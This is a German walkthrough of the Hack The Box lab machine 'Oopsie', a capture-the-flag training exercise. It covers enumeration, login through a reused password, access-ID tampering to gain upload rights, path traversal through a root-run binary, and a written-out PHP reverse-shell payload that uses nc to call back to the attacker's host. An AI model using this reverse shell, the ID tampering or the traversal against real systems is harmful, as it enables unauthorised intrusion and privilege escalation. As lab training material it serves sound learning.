Oopsie ist die zweite Maschine in der Liste Starting Point. Die meisten neuen Benutzer bei HTB werden diese Liste als Einstiegspunkt bei HTB nutzen und kommen dementsprechend früh mit dieser Maschine in Kontakt.
Maschine
Betriebssystem: Linux
Veröffentlicht: 01.12.2020
Bewertung: Very Easy
1. Discovery
Nachdem ich meine Virtuelle Maschine über VPN mit dem Netzwerk verbunden habe, verschaffe ich mir im ersten Schritt, wie in den meisten Fällen, einen Überblick mit NMAP.
nmap -sV -cV <ip>
NMAP hat zwei offene Ports gefunden. Port 22 für SSH und einen Webserver auf Port 80. Desweiteren wissen wir das der Webserver mit Apache 2.4.29 betrieben wird und der SSH Dienst mit openssh 1:7.6p1-4ubuntu0.3. Da wir die openssh Version kennen, können wir daraus die Version des Betriebssystem ableiten. Dabei müsste es sich um ein Ubuntu 18.04 LTS handeln (Link).
2. Webserver
Da uns aktuell keine Credentials vorliegen betrachten wir zuerst die Homepage. Beim Aufruf öffnet sich die Webseite MegaCorp Automotive. Dabei fällt mir auf das es sich um das selbe Unternehmen wie in der ersten Maschine (Archetype) im Starting Point handelt.
Die vorhandenen Links auf der Webseite haben keine Funktion. Am Ende der Webseite finden wir die E-Mail-Adresse admin@megacorp.com. Weitere Informationen können der Seite nicht entnommen werden.
2.1 Enumeration
Da auf der Seite keine weiteren Informationen zu finden sind untersuchen wir die Webseite mit gobuster um versteckte oder versehentlich öffentliche Ordner zu finden. Als Liste nutzen wir die Common List von SecList (Link).
gobuster dir -u <ip> -w <wordlist>
Anhand der Statusnummer kann bereits erkannt werden ob die Seite aufrufbar ist. Die Statusnummer 403 bedeutet das der Ordner zwar vorhanden aber kein Zugriff möglich ist. Die Statusnummer 301 steht für eine Umleitung. Gobuster zeigt uns am Ende der jeweiligen Zeile das Ziel der Umleitung an. In allen Fällen ist es dieselbe URL mit einem zusätzlichen Backslash „/“. Beim Aufrufen dieser URLs bekommen wir letzlich auch die Statusnummer 403. Ein Zugriff auf keiner dieser URLs außer der index.php ist möglich und diese kennen wir bereits.
2.2 Quellcode
Nachdem uns das vorherige Kapitel nicht weitergebracht hat untersuchen wir als nächstes den Quellcode der Seite. Dabei sind vorallem Links und Quellen interessant. Aber auch Kommentare welche Informationen zur Homepage verraten. Oftmals wird vergessen diese im Produktivsystem einer Anwendung zu entfernen.
Kommentare können im Quellcode der index.php nicht gefunden werden. Jedoch haben wir eine kleine Liste an Links zusammengetragen:
<link rel="stylesheet" href="/css/reset.min.css">
<link rel="stylesheet" href="/themes/theme.css"/>
<link rel="stylesheet" href="/css/new.css"/>
<link rel='stylesheet' href='/css/1.css'>
<link rel='stylesheet' href='/css/font-awesome.min.css'>
<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="/js/min.js"></script>
<script src="/cdn-cgi/login/script.js"></script>
<script src="/js/index.js"></script>An dieser Stelle fällt der zweitletzte Eintrag in der Liste auf. Dabei scheint es sich um ein Login-Skript zu handeln. Und tatsächlich erreichen wir durch den aufruf von <ip>/cdn-cgi/login eine Anmeldemaske für das Backend der Seite.
2.3 Die Anmeldemaske
Zum aktuellen Zeitpunkt besitzen wir als Information nur eine E-Mail-Adresse (admin@megacorp.com). Um an Logindaten einer Person zu kommen gibt es verschiedene Möglichkeiten. Bevor wir an dieser Stelle zum blinden Bruteforcen übergehen können wir die Standardpasswörter für solche Anwendungen ausprobieren. Wenn wir weitere Informationen über das Unternehmen oder der Person besitzen können auch daraus Passwörter abgeleitet werden. Außerdem werden Passwörter gerne wiederverwendet.
In diesem Fall hat das Passwort von der vorherigen Maschine funktioniert.
2.4 Das Backend
Nachdem wir Zugriff auf das Backend haben können wir dieses Untersuchen. Folgende Menüeinträge sind vorhanden:
– Account -> Zeigt eine Übersicht mit Access ID zugehörigen Namen und E-Mail Adresse
– Branding -> Scheint eine Übersicht über zu verkaufende Modelle zu sein. Lediglich ein Eintrag.
– Clients -> Vermutlich eine Übersicht der Kunden. Lediglich ein Eintrag. Neue E-Mail john@tafcz.co.uk
– Uploads -> Erscheint ein Hinweis das Super Admin Rechte benötigt werden
– Logged in as Admin -> keine Funktion
Auf dem ersten Blick ist nichts interessantes zu erkennen. Jedoch werden bei den Seiten Account, Branding und Clients in der URL eine ID übergeben. Verändern wir diese ändert sich ebenfalls die Seite. Nutzen wir das Fuzzing Tool des OWASP ZAP Proxys kann anhand der Response Size erkannt werden welche Seiten sich unterscheiden.
Im Bild kann z.B. erkannt werden das der Wert 4, 23, 13, leer, 1 und 30 für andere Werte in der Spale Size Resp. Body sorgen. Rufen wir diese URLs auf stellt sich schnell heraus das dies Informationen über andere Benutzer sind. Der Interessanteste hat die ID 30, der Super User:
Wir kennen nun die Access ID und den Namen. Jedoch haben wir kein Passwort. Beim nutzen des Proxys ist mir aufgefallen das bei jedem Request die Access ID und der Benutzername übertragen wird. Im nächsten Schritt wird der Request mit dem Proxy bearbeitet und anstelle der Access ID des Admin wird die des Super Admins gesendet:
Der Upload bereich ist nun einsehbar und wir können versuchen eine Datei hochzuladen.
Da wir mithilfe dieser Datei versuchen wollen Zugriff auf dem Server zu erlangen probieren wir den Upload einer Reverse Shell aus. Dafür speichern wir folgenden Code als PHP Datei:
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.97 9443 >/tmp/f"); ?>Sobald die PHP Datei auf dem Zielserver ausgeführt wird, versucht dieser eine Verbindung zu 10.10.14.97 über Port 9443 herzustellen. Beim Upload nutzen wir wieder den Proxy um die User ID zu verändern und die Rechte des super admins zu bekommen:
Der Upload war erfolgreich:
Wie oben bereits beschrieben versucht der Server beim Ausführen der Datei eine Verbindung zum Computer des Angreifers herzustellen. Damit diese Verbindung aufgebaut werden kann muss auf dem Port gelauscht werden. Dies können wir mit Netcat machen:
nc -lvnp 9443Nun wo der Computer auf Port 9443 lauscht müssen wir das Script ausführen. Beim Enumeration hatten wir einen Upload Ordner gefunden. Dieser ist jedoch nicht aufrufbar. Die url 10.10.10.28/uploads/shell.php funktioniert ebenfalls nicht. Wird die Uplaods Seite im Backend erneut aufgerufen sind auch keine bereits hochgeladenen Dateien sichtbar. Jedoch lautet die Überschrift der Seite „Branding Image Uploads“. Auch diese Seite hat sich nicht verändert. Ein erneuter Upload mit dem Namen shell2.php anstelle von shell.php und der Aufruf von 10.10.10.28/uploads/shell2.php hat funktioniert. Vermutlich war der Upload fehlerhaft oder der Name shell wird gefiltert bzw. blockiert.
Die Verbindung zwischen Server und Computer wurde erfolgreich hergestellt:
Mit dem Befehl „which python3“ überprüfen wir ob Python3 auf dem Server installiert ist. Nachdem wir wissen das wir Python3 nutzen können, nutzen wir folgenden Befehl um die Konsole zu einer vollständigen Shell zu upgraden:
python3 -c 'import pty;pty.spawn("/bin/bash")'3.0 User Flag
Nun wo wir Zugriff auf das System haben können wir die User Flag unter /home/robert/user.txt finden und bei HTB eingeben.
4.0 Privilige Escalation
Mit dem aktuellen User www-data können wir nicht auf die relevanten Dateien zugreifen um die System Flag zu bekommen. Aus diesem Grund müssen wir weitere Rechte bekommen. Im User Ordner von Robert sind keine interessanten Dateien zu finden. Aus diesem Grund prüfen wir als nächstes den Ordner in dem die Webanwendung liegt.
Aufbau der Anwendung:
-cdn-cgi
|-login
|-admin.php
|-db.php
|-index.php
[…]
In der Datei db.php im Ordner cdn-cgi/login/ können wir die Zugangsdaten für den Anwender robert finden:
Mithilfer dieser Daten können wir uns direkt über SSH mit dem Server verbinden.
Mit dem Befehl id überprüfen wir in welchen Gruppen der Benutzer robert ist.
Im nächsten Schritt überprüfen wir welche Dateien von der Gruppe bugtracker genutzt werden und wie dessen Rechte aussehen.
Die Datei /usr/bin/bugrtacker wird dabei mit root Rechten ausgeführt. Ggf. kann diese genutzt werden um Befehle mit erweiterten Rechten auszuführen. Beim Ausführen dieser Datei wird nach einer Bug ID gefragt und anschließend werden die zugehörigen Informationen ausgegeben.
Durch das Probieren von weiteren Eingaben stellt sich heraus das die Informationen im Ordner /root/reports/ liegen und die Datei als Namen die ID trägt.
Den Pfad innerhalb der Datei anzupassen um so die root Flag auszugeben funktioniert nicht da uns dafür die Berechtigungen fehlen. Jedoch können wir die Eingabe modifizieren. Mithilfe von .. springen wir ein Ordner nach oben und können somit auf die Dateien im Ordner /root zugreifen. Die Eingabe „../root.txt“ gibt die gesuchte Flag aus:
Diese können wir nun bei HTB eingeben.
